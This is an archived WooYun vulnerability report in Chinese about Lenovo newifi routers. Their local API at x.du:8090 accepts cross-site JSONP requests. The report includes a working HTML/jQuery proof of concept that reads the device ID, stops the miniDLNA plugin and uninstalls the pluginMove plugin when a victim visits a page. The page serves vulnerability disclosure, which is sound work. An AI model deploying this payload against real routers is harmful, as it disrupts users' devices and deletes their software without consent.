当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-090437

漏洞标题：newifi路由器某些接口可被恶意利用

相关厂商：联想

漏洞作者： 路人甲

提交时间：2015-01-09 16:51

修复时间：2015-02-23 16:52

公开时间：2015-02-23 16:52

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-09： 细节已通知厂商并且等待厂商处理中
2015-01-12： 厂商已经确认，细节仅向厂商公开
2015-01-22： 细节向核心白帽子及相关领域专家公开
2015-02-01： 细节向普通白帽子公开
2015-02-11： 细节向实习白帽子公开
2015-02-23： 细节向公众公开

简要描述：

潜水太久无关痛痒的刷下存在感。
newifi路由器接口存在设计缺陷，用户通过newifi上网，访问恶意网站可导致路由器插件被自动卸载

详细说明：

<head>
	<meta charset="utf-8">
	<title>newifi POC</title>
</head>
<script type="text/javascript" src="jquery.js"></script> 
<script type="text/javascript"> 
	 	$.getJSON("http://x.du:8090/blink/getDeviceId?callback=?",
    function(a) {  
              var myid = a.deviceId;
              alert(myid);
    });  
    
    $.getJSON("http://x.du:8090/plugin/stop?app_id=3001&callback=?",
    function(b) {  
           var end = b.body.errorMessage;
           alert(end);
    });   
    
    $.getJSON("http://x.du:8090/plugin/uninstall?app_id=3007&callback=?",
    function(c) {  
           var uninstall = c.body.errorMessage;
           alert(uninstall);
    });   
</script>

漏洞证明：

1. 获取路由deviceId
2. 停止miniDLNA插件 (造成无法访问http://192.168.99.1:8200/ )
3. 卸载pluginMove插件 (删除/mnt/sda4/.bpkg_base/plugin-3007-pluginMove/)

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-01-12 16:49

厂商回复：

谢谢您对联想安全工作的支持,我们会尽快修复漏洞

最新状态：

暂无